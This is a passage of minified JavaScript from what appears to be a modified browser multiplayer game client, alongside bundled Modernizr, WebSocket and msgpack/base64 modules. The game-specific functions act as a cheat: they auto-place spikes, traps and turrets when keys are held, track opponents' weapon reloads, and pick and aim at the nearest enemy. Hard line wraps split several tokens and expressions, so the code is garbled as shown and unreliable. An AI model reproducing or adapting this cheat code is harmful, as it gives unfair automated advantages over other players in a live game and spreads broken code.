document.getElementById("actionBarItem30").style.display = "none";
if(document.getElementById("actionBarItem32"))
document.getElementById("actionBarItem32").style.display = "none";
if(document.getElementById("chatBox"))
document.getElementById("chatBox").style.opacity = "0";
}
function Update(e, t, n){
nEy && R.weapons[1] && secondaryReload[R.sid] == 1 && [9, 12, 13,
15].includes(R.weapons[1]) ?
(nEy.available = goesTo(nEy.sid, {}, R.x2, R.y2, Math.atan2(nEy.y2 -
R.y2, nEy.x2 - R.x2),
script.data.projectiles[script.data.weapons[R.weapons[1]].projectile], R)) : (nEy
&& (nEy.available = false))
for(let i of script.fix) i.indicator(...i.data);
script.fix = [];
script.tick.l = Date.now();
script.tick.f();
}
function Hq(e, t = pn(), n, i) {
n = l.list[e];
if(n != undefined) {
i = (35 + n.scale + (e.placeOffset || 0));
if(n && nt.checkItemLocation(R.x2 + Math.cos(t) * i, R.y2 +
Math.sin(t) * i, n.scale, .6, n.id, false)) {
place(e, t);
return true;
} else {
return false;
}
} else {
return false;
}
};
function twq(r, t, s, n) {
var p = checkConstant() != undefined && (checkConstant()[1]);
r = (l.weapons[R.weaponIndex].range + 35);
t = MM(nEy);
n = MM(R);
s = !p ? t > 1.4 ? Math.abs((r * t) - (window.pingTime/2)) : t < 1 ? r :
r * t : n > 1.4 ? Math.abs((r * n) - (window.pingTime/2)) : n < 1 ? r : r * n;
return Math.trunc(s);
}
function countPlayerIndex(e) {
let tt = 0;
let data = W.length && W.filter(a => a.active && s.getDistance(a.x, a.y,
R.x, R.y) <= e).forEach((b, i) => tt = i+1);
return tt;
}
function countBuildingIndex(e, r, o) {
let tt = 0;
let data = N.length && N.filter(a => a.isItem && a.active && a.owner.sid
== o.sid && [a.name].includes(e) && s.getDistance(a.x, a.y, R.x, R.y) <=
r).forEach((b, i) => tt = i+1);
return tt;
}
function cwd(t, c, r) {
let d = [];
W.length && W.filter(o => o.sid != R.sid && o.active &&
s.getDistance(o.x, o.y, R.x, R.y) <= r).forEach(async (b, i) => {
await (i == c || i > c), d.push(l.weapons[b.sid.weaponIndex][t]);
});
return d;
}
function MM(_) {
var i = (_.buildIndex && _.buildIndex >= 0 ? .5 : 1) * (_.weaponIndex &&
l.weapons[_.weaponIndex].spdMult || 1) * (_.skinIndex && et.find(s => s.id ==
_.skinIndex).spdMult || 1) * (_.tailIndex && tt.find(r => r.id ==
_.tailIndex).spdMult || 1) * (_.y <= o.snowBiomeTop ? _.skinIndex && et.find(p =>
p.id == _.skinIndex).coldM ? 1 : .75 : 1) * _.slowMult;
!_.zIndex && _.y >= o.mapScale / 2 - o.riverWidth / 2 && f <= o.mapScale
/ 2 + o.riverWidth / 2 && (_.skinIndex && et.find(s => s.id == _.skinIndex).watrImm
? (i *= 0.75) : (i *= 0.33));
return i;
}
function doWeaponStuff(_){
if(_.skinIndex == 45){
_.shameCount = 8;
}else if(isNaN(_.shameCount)){
_.shameCount = 0;
}

if(_.weaponIndex < 9){


if(_.weaponIndex == _.primary){
if(_.buildIndex == -1){
_.pr = primaryReload[_.sid];
_.sr = secondaryReload[_.sid];
primaryReload[_.sid] = Math.min(1, primaryReload[_.sid] +
111/l.weapons[_.primary].speed);
}else{
_.pr = primaryReload[_.sid];
}
}else{
_.primary = _.weaponIndex;
_.weaponUint_p = _.weaponVariant;
}
}else if(_.weaponIndex > 8){
if(_.weaponIndex == _.secondary){
if(_.buildIndex == -1){
_.sr = secondaryReload[_.sid];
_.pr = primaryReload[_.sid];
secondaryReload[_.sid] = Math.min(1, secondaryReload[_.sid]
+ 111/l.weapons[_.secondary].speed);
}else{
_.sr = secondaryReload[_.sid];
}
}else{
_.secondary = _.weaponIndex;
_.weaponUint_s = _.weaponVariant;
}
}else{
_.sr = secondaryReload[_.sid];
_.pr = primaryReload[_.sid];
}
_.tr = turretReload[_.sid];
turretReload[_.sid] = Math.min(1, turretReload[_.sid]+0.0444);
}
function Mills(t) {
let te = 0;
for (let i=26;i<29;i++)
isElementVisible(document.getElementById("actionBarItem" + i.toString())) && (te =
i);
if(Math.hypot(Mill.y - R.y2, Mill.x - R.x2) >= (Math.atan2(R.y1 - R.y2,
R.x1 - R.x2) == Mill.k ? 0 : 90)){
place(R.items[3], Math.atan2(R.y1 - R.y2, R.x1 - R.x2) + toRad(1) *
(72 + (te == 26 ? 0 : 2))/*80845829587257*/);
place(R.items[3], Math.atan2(R.y1 - R.y2, R.x1 - R.x2) + toRad(1) *
1);
place(R.items[3], Math.atan2(R.y1 - R.y2, R.x1 - R.x2) + toRad(1) *
(-72 + (te == 26 ? 0 : 2))/*.99043595528443*/);
Mill = {y: R.y2, x: R.x2, z: true, k: Math.atan2(R.y1 - R.y2, R.x1 -
R.x2)};
}
};
function solvePlayerType() {
gameEnemy[nearest] = W.length && W.filter(e => e.sid != R.sid || e.team
&& e.team != R.team).sort((a, t) => s.getDistance(a.x, a.y, R.x, R.y) -
s.getDistance(t.x, t.y, R.x, R.y))[0];
gameEnemy[all] = W.length && (Object.assign({}, W.filter(r => r.sid !=
R.sid)));
gameTeammate[nearest] = W.length && W.filter(r => r.sid != R.sid &&
e.team && e.team == R.team).sort((o, p) => s.getDistance(o.x, o.y, R.x, R.y) -
s.getDistance(p.x, p.y, R.x, R.y))[0];
gameTeammate[all] = W.length && (Object.assign({}, W.filter(r => r.sid !
= R.sid && r.team && r.team != R.team)));
}
function Ii(e) {
for (var t = 0; t < W.length; ++t)
if (W[t].sid == e)
return W[t];
return null
}
function Ei(e) {
for (var t = 0; t < Y.length; ++t)
if (Y[t].sid == e)
return Y[t];
return null
}
function Mi(e) {
for (var t = 0; t < N.length; ++t)
if (N[t].sid == e)
return N[t];
return null
}
var Ai = -1;
function Pi() {
var e = Date.now() - Ai;
window.pingTime = e,
Ie.innerText = "Ping: " + e + " ms"
}
function Bi() {
Ai = Date.now(),
r.send("pp")
}
function Ci(e) {
if (!(e < 0)) {
var t = Math.floor(e / 60)
, n = e % 60;
n = ("0" + n).slice(-2),
Ee.innerText = "Server restarting in " + t + ":" + n,
Ee.hidden = !1
}
}
var places = [];
var intervals = {};
function addPlacers(key, action, interval, name) {
let isKeydown = false;
intervals[name] = {
keydown: false,
interval: false
}
places.push({
start: function (event) {
if (event.keyCode == key && !intervals[name].keydown)
clearInterval(intervals[name].interval),
intervals[name].interval = setInterval(action, interval),
intervals[name].keydown = true
},
stop: function (event) {
if (event.keyCode == key && intervals[name].keydown)
clearInterval(intervals[name].interval),
intervals[name].keydown = false
}
});
return
}
addPlacers(86, () => {
place(R.items[2]);
}, 0, "spikePlacer");
addPlacers(81, () => {
place(R.items[0]);
}, 0, "foodPlacer");
addPlacers(70, () => {
place(R.items[4]);
}, 0, "trapPlacer");
addPlacers(72, () => {
place(R.items[5]);
}, 0, "turretPlacer");
addPlacers(75, () => {
place(R.items[36]);
}, 0, "spawnPlacer");
/*
addPlacers(78, () => {
place(R.items[3]);
}, 0, "millPlaer");
*/
addEventListener("keydown", e => {
if(document.activeElement.id.toLowerCase() !== 'chatbox') {
places.forEach(t => {
t.start(e);
});
}
});
addEventListener("keyup", e => {
places.forEach(t => {
t.stop(e);
});
})
function Oi(e) {
window.open(e, "_blank")
}
window.requestAnimFrame = window.requestAnimationFrame ||
window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame ||
function(e) {
window.setTimeout(e, 1e3 / 60)
}
,
function() {
var e = o.mapScale / 2;
nt.add(0, e, e + 200, 0, o.treeScales[3], 0),
nt.add(1, e, e - 480, 0, o.treeScales[3], 0),
nt.add(2, e + 300, e + 450, 0, o.treeScales[3], 0),
nt.add(3, e - 950, e - 130, 0, o.treeScales[2], 0),
nt.add(4, e - 750, e - 400, 0, o.treeScales[3], 0),
nt.add(5, e - 700, e + 400, 0, o.treeScales[2], 0),
nt.add(6, e + 800, e - 200, 0, o.treeScales[3], 0),
nt.add(7, e - 260, e + 340, 0, o.bushScales[3], 1),
nt.add(8, e + 760, e + 310, 0, o.bushScales[3], 1),
nt.add(9, e - 800, e + 100, 0, o.bushScales[3], 1),
nt.add(10, e - 800, e + 300, 0, l.list[4].scale, l.list[4].id,
l.list[10]),
nt.add(11, e + 650, e - 390, 0, l.list[4].scale, l.list[4].id,
l.list[10]),
nt.add(12, e - 400, e - 450, 0, o.rockScales[2], 2)
}(),
function e() {
B = Date.now(),
P = B - q,
q = B,
function() {
if (R && (!C || B - C >= 1e3 / o.clientSendRate) && (C = B,
r.send("2",
pn())),
An < 120 && (An += .1 * P,
Ge.style.fontSize = Math.min(Math.round(An), 120) +
"px"),
R) {
var e = s.getDistance(U, D, R.x, R.y)
, t = s.getDirection(R.x, R.y, U, D)
, n = Math.min(.01 * e * P, e);
e > .05 ? (U += n * Math.cos(t),
D += n * Math.sin(t)) : (U = R.x,
D = R.y)
} else
U = o.mapScale / 2,
D = o.mapScale / 2;
for (var i = B - 1e3 / o.serverUpdateRate, a = 0; a < W.length +
Y.length; ++a)
if ((_ = W[a] || Y[a - W.length]) && _.visible)
if (_.forcePos)
_.x = _.x2,
_.y = _.y2,
_.dir = _.d2;
else {
var c = _.t2 - _.t1
, l = (i - _.t1) / c;
_.dt += P;
var h = Math.min(1.7, _.dt / 170)
, u = _.x2 - _.x1;
_.x = _.x1 + u * h,
u = _.y2 - _.y1,
_.y = _.y1 + u * h,
_.dir = Math.lerpAngle(_.d2, _.d1, Math.min(1.2, l))
}
var f = U - oe / 2
, d = D - ce / 2;
o.snowBiomeTop - d <= 0 && o.mapScale - o.snowBiomeTop - d >= ce ?
(be.fillStyle = "#b6db66",
be.fillRect(0, 0, oe, ce)) : o.mapScale - o.snowBiomeTop - d <= 0 ?
(be.fillStyle = "#dbc666",
be.fillRect(0, 0, oe, ce)) : o.snowBiomeTop - d >= ce ? (be.fillStyle =
"#fff",
be.fillRect(0, 0, oe, ce)) : o.snowBiomeTop - d >= 0 ? (be.fillStyle =
"#fff",
be.fillRect(0, 0, oe, o.snowBiomeTop - d),
be.fillStyle = "#b6db66",
be.fillRect(0, o.snowBiomeTop - d, oe, ce - (o.snowBiomeTop - d))) :
(be.fillStyle = "#b6db66",
be.fillRect(0, 0, oe, o.mapScale - o.snowBiomeTop - d),
be.fillStyle = "#dbc666",
be.fillRect(0, o.mapScale - o.snowBiomeTop - d, oe, ce - (o.mapScale -
o.snowBiomeTop - d))),
In || ((ee += te * o.waveSpeed * P) >= o.waveMax ? (ee = o.waveMax,
te = -1) : ee <= 1 && (ee = te = 1),
be.globalAlpha = 1,
be.fillStyle = "#dbc666",
qn(f, d, be, o.riverPadding),
be.fillStyle = "#91b2db",
qn(f, d, be, 250 * (ee - 1))),
be.lineWidth = 4,
be.strokeStyle = "#000",
be.globalAlpha = .06,
be.beginPath();
for (var p = -U; p < oe; p += ce / 18)
p > 0 && (be.moveTo(p, 0),
be.lineTo(p, ce));
for (var g = -D; g < ce; g += ce / 18)
p > 0 && (be.moveTo(0, g),
be.lineTo(oe, g));
for (be.stroke(),
be.globalAlpha = 1,
be.strokeStyle = it,
Yn(-1, f, d),
be.globalAlpha = 1,
be.lineWidth = 5.5,
zn(0, f, d),
Xn(f, d, 0),
be.globalAlpha = 1,
a = 0; a < Y.length; ++a)
(_ = Y[a]).active && _.visible && (_.animate(P),
be.save(),
be.translate(_.x - f, _.y -
d),
be.rotate(_.dir + _.dirPlus -
Math.PI / 2),
yi(_, be),
be.restore());
if (Yn(0, f, d),
zn(1, f, d),
Yn(1, f, d),
Xn(f, d, 1),
Yn(2, f, d),
Yn(3, f, d),
be.fillStyle = "#000",
be.globalAlpha = .09,
f <= 0 && be.fillRect(0, 0, -f, ce),
o.mapScale - f <= oe) {
var y = Math.max(0, -d);
be.fillRect(o.mapScale - f, y, oe - (o.mapScale - f), ce - y)
}
if (d <= 0 && be.fillRect(-f, 0, oe + f, -d),
o.mapScale - d <= ce) {
var k = Math.max(0, -f)
, v = 0;
o.mapScale - f <= oe && (v = oe - (o.mapScale - f)),
be.fillRect(k, o.mapScale - d, oe - k - v, ce - (o.mapScale
- d))
}
for (be.globalAlpha = 1,
be.fillStyle = "rgba(0, 0, 70, 0.35)",
be.fillRect(0, 0, oe, ce),
be.strokeStyle = rt,
a = 0; a < W.length + Y.length; ++a)
if ((_ = W[a] || Y[a - W.length]).visible && (10 != _.skinIndex
|| _ == R || _.team && _.team == R.team)) {
var w = (_.team ? "<" + _.team + ">" : "") + (_.name || "")
+ (_.id ? " " : "");
if ("" != w) {
if (be.font = (_.nameScale || 30) + "px Hammersmith
One",
be.fillStyle = "#fff",
be.textBaseline = "middle",
be.textAlign = "center",
be.lineWidth = _.nameScale ? 11 : 8,
be.lineJoin = "round",
be.strokeText(w, _.x - f, _.y - d - _.scale -
o.nameY),
be.fillText(w, _.x - f, _.y - d - _.scale -
o.nameY),
_.isLeader && Rn.crown.isLoaded) {
var b = o.crownIconScale;
k = _.x - f - b / 2 - be.measureText(w).width / 2 -
o.crownPad,
be.drawImage(Rn.crown, k, _.y - d - _.scale -
o.nameY - b / 2 - 5, b, b)
}
1 == _.iconIndex && Rn.skull.isLoaded && (b =
o.crownIconScale,
k = _.x - f -
b / 2 + be.measureText(w).width / 2 + o.crownPad,

be.drawImage(Rn.skull, k, _.y - d - _.scale - o.nameY - b / 2 - 5, b, b))


}

let playerWeapon = (_.weaponIndex<9)?


(_.pr<primaryReload[_.sid]?_.pr+(primaryReload[_.sid]-_.pr)*Math.min(1,_.dt/
111):primaryReload[_.sid]) : (_.sr<secondaryReload[_.sid]?_.sr+
(secondaryReload[_.sid]-_.sr)*Math.min(1,_.dt/111):secondaryReload[_.sid]);
_.health > 0 && (o.healthBarWidth,
be.fillStyle = rt,
be.roundRect(_.x - f - o.healthBarWidth
- o.healthBarPad, _.y - d + _.scale + o.nameY - (+5), 2 * o.healthBarWidth + 2 *
o.healthBarPad, 17, 8),
be.fill(),
be.fillStyle = _ == R || _.team &&
_.team == R.team ? "#8ecc51" : "#cc5151",
be.roundRect(_.x - f -
o.healthBarWidth, _.y - d + _.scale + o.nameY + o.healthBarPad - (+5), 2 *
o.healthBarWidth * (_.health / _.maxHealth), 17 - 2 * o.healthBarPad, 7),
be.fill())
/* _.isPlayer && ((o.healthBarWidth,
be.fillStyle = rt,
be.roundRect(_.x - f - o.healthBarWidth
- o.healthBarPad, _.y - d + _.scale + o.nameY - (150 + 16), 2 * o.healthBarWidth +
2 * o.healthBarPad, 17, 8),
be.fill(),
be.fillStyle = "#a5974c",
be.roundRect(_.x - f -
o.healthBarWidth, _.y - d + _.scale + o.nameY + o.healthBarPad - (150 + 16), 2 *
o.healthBarWidth * playerWeapon, 17 - 2 * o.healthBarPad, 7),
be.fill()))*/
}
for (m.update(P, be, f, d),
a = 0; a < W.length; ++a)
if ((_ = W[a]).visible && _.chatCountdown > 0) {
_.chatCountdown -= P,
_.chatCountdown <= 0 && (_.chatCountdown = 0),
be.font = "34x Hammersmith One";
var x = be.measureText(_.chatMessage);
be.textBaseline = "middle",
be.textAlign = "center",
k = _.x - f,
y = _.y - _.scale - d - 90;
var S = x.width + 17;
be.fillStyle = "rgba(0,0,0,0.2)",
be.roundRect(k - S / 2, y - 23.5, S, 47, 6),
be.fill(),
be.fillStyle = "#fff",
be.fillText(_.chatMessage, k, y)
}
!function(e) {
if (R && R.alive) {
Ke.clearRect(0, 0, Ne.width, Ne.height),
Ke.strokeStyle = "#fff",
Ke.lineWidth = 4;
for (var t = 0; t < qt.length; ++t)
(Vt = qt[t]).update(Ke, e);
if (Ke.globalAlpha = 1,
Ke.fillStyle = "#fff",
si(R.x / o.mapScale * Ne.width, R.y / o.mapScale *
Ne.height, 7, Ke, !0),
Ke.fillStyle = "rgba(255,255,255,0.35)",
R.team && Et)
for (t = 0; t < Et.length; )
si(Et[t] / o.mapScale * Ne.width, Et[t + 1] /
o.mapScale * Ne.height, 7, Ke, !0),
t += 2;
It && (Ke.fillStyle = "#fc5553",
Ke.font = "34px Hammersmith One",
Ke.textBaseline = "middle",
Ke.textAlign = "center",
Ke.fillText("x", It.x / o.mapScale * Ne.width, It.y /
o.mapScale * Ne.height)),
Mt && (Ke.fillStyle = "#fff",
Ke.font = "34px Hammersmith One",
Ke.textBaseline = "middle",
Ke.textAlign = "center",
Ke.fillText("x", Mt.x / o.mapScale * Ne.width,
Mt.y / o.mapScale * Ne.height))
}
}(P),
-1 !== re.id && Fn(re.startX, re.startY, re.currentX,
re.currentY),
-1 !== se.id && Fn(se.startX, se.startY, se.currentX,
se.currentY)
}(),
requestAnimFrame(e)
}(),
window.openLink = Oi,
window.aJoinReq = Dt,
window.follmoo = function() {
H || (H = !0,
I("moofoll", 1))
}
,
window.kickFromClan = Lt,
window.sendJoin = Ft,
window.leaveAlliance = Ht,
window.createAlliance = zt,
window.storeBuy = Kt,
window.storeEquip = Jt,
window.showItemInfo = Tt,
window.selectSkinColor = function(e) {
ae = e,
en()
}
,
window.changeStoreIndex = function(e) {
Xt != e && (Xt = e,
Gt())
}
,
window.config = o
}
, function(e, t) {
!function(e, t, n) {
function i(e, t) {
return typeof e === t
}
var r = []
, s = []
, a = {
_version: "3.5.0",
_config: {
classPrefix: "",
enableClasses: !0,
enableJSClass: !0,
usePrefixes: !0
},
_q: [],
on: function(e, t) {
var n = this;
setTimeout((function() {
t(n[e])
}
), 0)
},
addTest: function(e, t, n) {
s.push({
name: e,
fn: t,
options: n
})
},
addAsyncTest: function(e) {
s.push({
name: null,
fn: e
})
}
}
, o = function() {};
o.prototype = a,
o = new o;
var c = t.documentElement
, l = "svg" === c.nodeName.toLowerCase();
o.addTest("passiveeventlisteners", (function() {
var t = !1;
try {
var n = Object.defineProperty({}, "passive", {
get: function() {
t = !0
}
});
e.addEventListener("test", null, n)
} catch (e) {}
return t
}
)),
function() {
var e, t, n, a, c, l;
for (var h in s)
if (s.hasOwnProperty(h)) {
if (e = [],
(t = s[h]).name && (e.push(t.name.toLowerCase()),
t.options && t.options.aliases &&
t.options.aliases.length))
for (n = 0; n < t.options.aliases.length; n++)
e.push(t.options.aliases[n].toLowerCase());
for (a = i(t.fn, "function") ? t.fn() : t.fn,
c = 0; c < e.length; c++)
1 === (l = e[c].split(".")).length ? o[l[0]] = a : (!
o[l[0]] || o[l[0]]instanceof Boolean || (o[l[0]] = new Boolean(o[l[0]])),

o[l[0]][l[1]] = a),
r.push((a ? "" : "no-") + l.join("-"))
}
}(),
function(e) {
var t = c.className
, n = o._config.classPrefix || "";
if (l && (t = t.baseVal),
o._config.enableJSClass) {
var i = new RegExp("(^|\\s)" + n + "no-js(\\s|$)");
t = t.replace(i, "$1" + n + "js$2")
}
o._config.enableClasses && (t += " " + n + e.join(" " + n),
l ? c.className.baseVal = t :
c.className = t)
}(r),
delete a.addTest,
delete a.addAsyncTest;
for (var h = 0; h < o._q.length; h++)
o._q[h]();
e.Modernizr = o
}(window, document)
}
, function(e, t, n) {
var i = n(24);
n(19),
e.exports = {
socket: null,
connected: !1,
socketId: -1,
connect: function(e, t, n) {
if (!this.socket) {
var r = this;
try {
var s = !1
, a = e;
this.socket = new WebSocket(a),
this.socket.binaryType = "arraybuffer",
this.socket.onmessage = function(e) {
var t = new Uint8Array(e.data)
, s = i.decode(t)
, a = s[0];
t = s[1],
"io-init" == a ? r.socketId = t[0] : n[a].apply(void
0, t)
}
,
this.socket.onopen = function() {
r.connected = !0,
t()
}
,
this.socket.onclose = function(e) {
r.connected = !1,
4001 == e.code ? t("Invalid Connection") : s ||
t("disconnected")
}
,
this.socket.onerror = function(e) {
this.socket && this.socket.readyState != WebSocket.OPEN
&& (s = !0,

console.error("Socket error", arguments),

t("Socket error"))
}
} catch (e) {
console.warn("Socket connection error:", e),
t(e)
}
}
},
send: function(e) {
var t = Array.prototype.slice.call(arguments, 1)
, n = i.encode([e, t]);
this.socket.send(n)
},
socketReady: function() {
return this.socket && this.connected
},
close: function() {
this.socket && this.socket.close()
}
}
}
, function(e, t, n) {
t.encode = n(9).encode,
t.decode = n(15).decode,
t.Encoder = n(37).Encoder,
t.Decoder = n(38).Decoder,
t.createCodec = n(39).createCodec,
t.codec = n(40).codec
}
, function(e, t, n) {
(function(t) {
function n(e) {
return e && e.isBuffer && e
}
e.exports = n(void 0 !== t && t) || n(this.Buffer) || n("undefined" !=
typeof window && window.Buffer) || this.Buffer
}
).call(this, n(11).Buffer)
}
, function(e, t, n) {
"use strict";
t.byteLength = function(e) {
var t = l(e)
, n = t[0]
, i = t[1];
return 3 * (n + i) / 4 - i
}
,
t.toByteArray = function(e) {
var t, n, i = l(e), a = i[0], o = i[1], c = new s(function(e, t, n) {
return 3 * (t + n) / 4 - n
}(0, a, o)), h = 0, u = o > 0 ? a - 4 : a;
for (n = 0; n < u; n += 4)
t = r[e.charCodeAt(n)] << 18 | r[e.charCodeAt(n + 1)] << 12 |
r[e.charCodeAt(n + 2)] << 6 | r[e.charCodeAt(n + 3)],
c[h++] = t >> 16 & 255,
c[h++] = t >> 8 & 255,
c[h++] = 255 & t;
return 2 === o && (t = r[e.charCodeAt(n)] << 2 | r[e.charCodeAt(n + 1)]
>> 4,
c[h++] = 255 & t),
1 === o && (t = r[e.charCodeAt(n)] << 10 | r[e.charCodeAt(n + 1)] <<
4 | r[e.charCodeAt(n + 2)] >> 2,
c[h++] = t >> 8 & 255,
c[h++] = 255 & t),
c
}
,
t.fromByteArray = function(e) {
for (var t, n = e.length, r = n % 3, s = [], a = 0, o = n - r; a < o; a
+= 16383)
s.push(u(e, a, a + 16383 > o ? o : a + 16383));
return 1 === r ? (t = e[n - 1],
s.push(i[t >> 2] + i[t << 4 & 63] + "==")) : 2 === r
&& (t = (e[n - 2] << 8) + e[n - 1],

s.push(i[t >> 10] + i[t >> 4 & 63] + i[t << 2 & 63] + "=")),
s.join("")
}
;
for (var i = [], r = [], s = "undefined" != typeof Uint8Array ? Uint8Array :
Array, a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", o =
0, c = a.length; o < c; ++o)
i[o] = a[o],
r[a.charCodeAt(o)] = o;
function l(e) {
var t = e.length;
if (t % 4 > 0)
throw new Error("Invalid string. Length must be a multiple of 4");
var n = e.indexOf("=");
return -1 === n && (n = t),
[n, n === t ? 0 : 4 - n % 4]
}
function h(e) {
return i[e >> 18 & 63] + i[e >> 12 & 63] + i[e >> 6 & 63] + i[63 & e]
}
function u(e, t, n) {
for (var i, r = [], s = t; s < n; s += 3)
i = (e[s] << 16 & 16711680) + (e[s + 1] << 8 & 65280) + (255 & e[s +
2]),
r.push(h(i));
return r.join("")
}
r["-".charCodeAt(0)] = 62,
r["_".charCodeAt(0)] = 63
}
, function(e, t) {
var n = {}.toString;
e.exports = Array.isArray || function(e) {
return "[object Array]" == n.call(e)
}
}
, function(e, t, n) {
var i = n(0);
function r(e) {
return new Array(e)
}
(t = e.exports = r(0)).alloc = r,
t.concat = i.concat,
t.from = function(e) {
if (!i.isBuffer(e) && i.isView(e))
e = i.Uint8Array.from(e);
else if (i.isArrayBuffer(e))
e = new Uint8Array(e);
else {
if ("string" == typeof e)
return i.from.call(t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return Array.prototype.slice.call(e)
}
}
, function(e, t, n) {
var i = n(0)
, r = i.global;
function s(e) {
return new r(e)
}
(t = e.exports = i.hasBuffer ? s(0) : []).alloc = i.hasBuffer && r.alloc ||
s,
t.concat = i.concat,
t.from = function(e) {
if (!i.isBuffer(e) && i.isView(e))
e = i.Uint8Array.from(e);
else if (i.isArrayBuffer(e))
e = new Uint8Array(e);
else {
if ("string" == typeof e)
return i.from.call(t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return r.from && 1 !== r.from.length ? r.from(e) : new r(e)
}
}
, function(e, t, n) {
var i = n(0);
function r(e) {
return new Uint8Array(e)
}
(t = e.exports = i.hasArrayBuffer ? r(0) : []).alloc = r,
t.concat = i.concat,
t.from = function(e) {
if (i.isView(e)) {
var n = e.byteOffset
, r = e.byteLength;
(e = e.buffer).byteLength !== r && (e.slice ? e = e.slice(n, n +
r) : (e = new Uint8Array(e)).byteLength !== r && (e = Array.prototype.slice.call(e,
n, n + r)))
} else {
if ("string" == typeof e)
return i.from.call(t, e);
if ("number" == typeof e)
throw new TypeError('"value" argument must not be a number')
}
return new Uint8Array(e)
}
}
, function(e, t) {
t.copy = function(e, t, n, i) {
var r;
n || (n = 0),
i || 0 === i || (i = this.length),
t || (t = 0);
var s = i - n;
if (e === this && n < t && t < i)
for (r = s - 1; r >= 0; r--)
e[r + t] = this[r + n];
else
for (r = 0; r < s; r++)
e[r + t] = this[r + n];
return s
}
,
t.toString = function(e, t, n) {
var i = 0 | t;
n || (n = this.length);
for (var r = "", s = 0; i < n; )
(s = this[i++]) < 128 ? r += String.fromCharCode(s) : (192 == (224 &
s) ? s = (31 & s) << 6 | 63 & this[i++] : 224 == (240 & s) ? s = (15 & s) << 12 |
(63 & this[i++]) << 6 | 63 & this[i++] : 240 == (248 & s) && (s = (7 & s) << 18 |
(63 & this[i++]) << 12 | (63 & this[i++]) << 6 | 63 & this[i++]),
s >= 65536 ?
(s -= 65536,

r += String.fromCharCode(55296 + (s >>> 10), 56320 + (1023 & s))) : r +=


String.fromCharCode(s));
return r
}
,
t.write = function(e, t) {
for (var n = t || (t |= 0), i = e.length, r = 0, s = 0; s < i; )
(r = e.charCodeAt(s++)) < 128 ? this[n++] = r : r < 2048 ? (this[n+
+] = 192 | r >>> 6,
this[n+
+] = 128 | 63 & r) : r < 55296 || r > 57343 ? (this[n++] = 224 | r >>> 12,

this[n++] = 128 | r >>> 6 & 63,

this[n++] = 128 | 63 & r) : (r = 65536 + (r - 55296 << 10 | e.charCodeAt(s++) -


56320),
this[n++] = 240 | r >>> 18,
this[n++] = 128 | r >>> 12 & 63,
this[n++] = 128 | r >>> 6 & 63,
this[n++] = 128 | 63 & r);
return n - t
}
}
, function(e, t, n) {
t.setExtPackers = function(e) {
e.addExtPacker(14, Error, [u, c]),
e.addExtPacker(1, EvalError, [u, c]),
e.addExtPacker(2, RangeError, [u, c]),
e.addExtPacker(3, ReferenceError, [u, c]),
e.addExtPacker(4, SyntaxError, [u, c]),
e.addExtPacker(5, TypeError, [u, c]),
e.addExtPacker(6, URIError, [u, c]),
e.addExtPacker(10, RegExp, [h, c]),
e.addExtPacker(11, Boolean, [l, c]),
e.addExtPacker(12, String, [l, c]),
e.addExtPacker(13, Date, [Number, c]),
e.addExtPacker(15, Number, [l, c]),
"undefined" != typeof Uint8Array && (e.addExtPacker(17, Int8Array,
a),
e.addExtPacker(18, Uint8Array,
a),
e.addExtPacker(19, Int16Array,
a),
e.addExtPacker(20, Uint16Array,
a),
e.addExtPacker(21, Int32Array,
a),
e.addExtPacker(22, Uint32Array,
a),
e.addExtPacker(23,
Float32Array, a),
"undefined" != typeof
Float64Array && e.addExtPacker(24, Float64Array, a),
"undefined" != typeof
Uint8ClampedArray && e.addExtPacker(25, Uint8ClampedArray, a),
e.addExtPacker(26, ArrayBuffer,
a),
e.addExtPacker(29, DataView,
a)),
r.hasBuffer && e.addExtPacker(27, s, r.from)
}
;
var i, r = n(0), s = r.global, a = r.Uint8Array.from, o = {
name: 1,
message: 1,
stack: 1,
columnNumber: 1,
fileName: 1,
lineNumber: 1
};
function c(e) {
return i || (i = n(9).encode),
i(e)
}
function l(e) {
return e.valueOf()
}
function h(e) {
(e = RegExp.prototype.toString.call(e).split("/")).shift();
var t = [e.pop()];
return t.unshift(e.join("/")),
t
}
function u(e) {
var t = {};
for (var n in o)
t[n] = e[n];
return t
}
}
, function(e, t, n) {
var i = n(5)
, r = n(7)
, s = r.Uint64BE
, a = r.Int64BE
, o = n(0)
, c = n(6)
, l = n(34)
, h = n(13).uint8
, u = n(3).ExtBuffer
, f = "undefined" != typeof Uint8Array
, d = "undefined" != typeof Map
, p = [];
p[1] = 212,
p[2] = 213,
p[4] = 214,
p[8] = 215,
p[16] = 216,
t.getWriteType = function(e) {
var t = l.getWriteToken(e)
, n = e && e.useraw
, r = f && e && e.binarraybuffer
, g = r ? o.isArrayBuffer : o.isBuffer
, m = r ? function(e, t) {
w(e, new Uint8Array(t))
}
: w
, y = d && e && e.usemap ? function(e, n) {
if (!(n instanceof Map))
return b(e, n);
var i = n.size;
t[i < 16 ? 128 + i : i <= 65535 ? 222 : 223](e, i);
var r = e.codec.encode;
n.forEach((function(t, n, i) {
r(e, n),
r(e, t)
}
))
}
: b;
return {
boolean: function(e, n) {
t[n ? 195 : 194](e, n)
},
function: v,
number: function(e, n) {
var i = 0 | n;
n === i ? t[-32 <= i && i <= 127 ? 255 & i : 0 <= i ? i <= 255 ?
204 : i <= 65535 ? 205 : 206 : -128 <= i ? 208 : -32768 <= i ? 209 : 210](e, i) :
t[203](e, n)
},
object: n ? function(e, n) {
if (g(n))
return function(e, n) {
var i = n.length;
t[i < 32 ? 160 + i : i <= 65535 ? 218 : 219](e, i),
e.send(n)
}(e, n);
k(e, n)
}
: k,
string: function(e) {
return function(n, i) {
var r = i.length
, s = 5 + 3 * r;
n.offset = n.reserve(s);
var a = n.buffer
, o = e(r)
, l = n.offset + o;
r = c.write.call(a, i, l);
var h = e(r);
if (o !== h) {
var u = l + h - o
, f = l + r;
c.copy.call(a, a, u, l, f)
}
t[1 === h ? 160 + r : h <= 3 ? 215 + h : 219](n, r),
n.offset += r
}
}(n ? function(e) {
return e < 32 ? 1 : e <= 65535 ? 3 : 5
}
: function(e) {
return e < 32 ? 1 : e <= 255 ? 2 : e <= 65535 ? 3 : 5
}
),
symbol: v,
undefined: v
};
function k(e, n) {
if (null === n)
return v(e, n);
if (g(n))
return m(e, n);
if (i(n))
return function(e, n) {
var i = n.length;
